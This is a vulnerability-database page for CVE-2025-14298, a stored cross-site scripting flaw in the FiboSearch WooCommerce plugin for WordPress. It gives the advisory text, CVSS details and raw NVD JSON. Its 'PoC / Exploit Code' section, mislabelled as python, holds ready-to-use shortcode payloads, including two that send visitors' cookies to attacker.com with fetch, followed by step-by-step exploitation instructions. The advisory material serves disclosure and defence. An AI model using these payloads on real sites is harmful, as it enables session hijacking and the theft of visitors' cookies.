Security Vulnerability Report
中文
CVE-2025-14298 CVSS 5.4 MEDIUM

CVE-2025-14298

Published: 2025-12-20 09:15:55
Last Modified: 2026-04-15 00:35:42

Description

The FiboSearch – Ajax Search for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `thegem_te_search` shortcode in all versions up to, and including, 1.32.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability requires TheGem theme (premium) to be installed with Header Builder mode enabled, and the FiboSearch "Replace search bars" option enabled for TheGem integration.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

FiboSearch – Ajax Search for WooCommerce < 1.32.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- FiboSearch Stored XSS PoC via thegem_te_search shortcode --> <!-- Requires: Contributor+ access, TheGem theme with Header Builder, FiboSearch TheGem integration enabled --> <!-- Basic XSS PoC --> [thegem_te_search placeholder='<img src=x onerror=alert(document.cookie)>'] <!-- Cookie stealing PoC --> [thegem_te_search class='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Advanced payload using event handlers --> [thegem_te_search input_id='test" onfocus="alert(document.domain)" autofocus x='] <!-- Stored XSS via shortcode attribute --> [thegem_te_search icon='<svg onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>'] <!-- Steps to exploit: 1. Login as Contributor or higher role 2. Create/Edit a post or page 3. Add the shortcode with malicious payload 4. Publish the content 5. Any user visiting the page will execute the injected JavaScript -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14298", "sourceIdentifier": "[email protected]", "published": "2025-12-20T09:15:55.043", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FiboSearch – Ajax Search for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `thegem_te_search` shortcode in all versions up to, and including, 1.32.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability requires TheGem theme (premium) to be installed with Header Builder mode enabled, and the FiboSearch \"Replace search bars\" option enabled for TheGem integration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ajax-search-for-woocommerce/tags/1.32.0/partials/themes/thegem-elementor.php#L104", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ajax-search-for-woocommerce/tags/1.32.0/partials/themes/thegem-elementor.php#L94", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3420841%40ajax-search-for-woocommerce%2Ftrunk&old=3398612%40ajax-search-for-woocommerce%2Ftrunk&sfp_email=&sfph_mail=#file136", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/ajax-search-for-woocommerce", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8149103e-105d-401d-8a15-b07d131baaac?source=cve", "source": "[email protected]"}]}}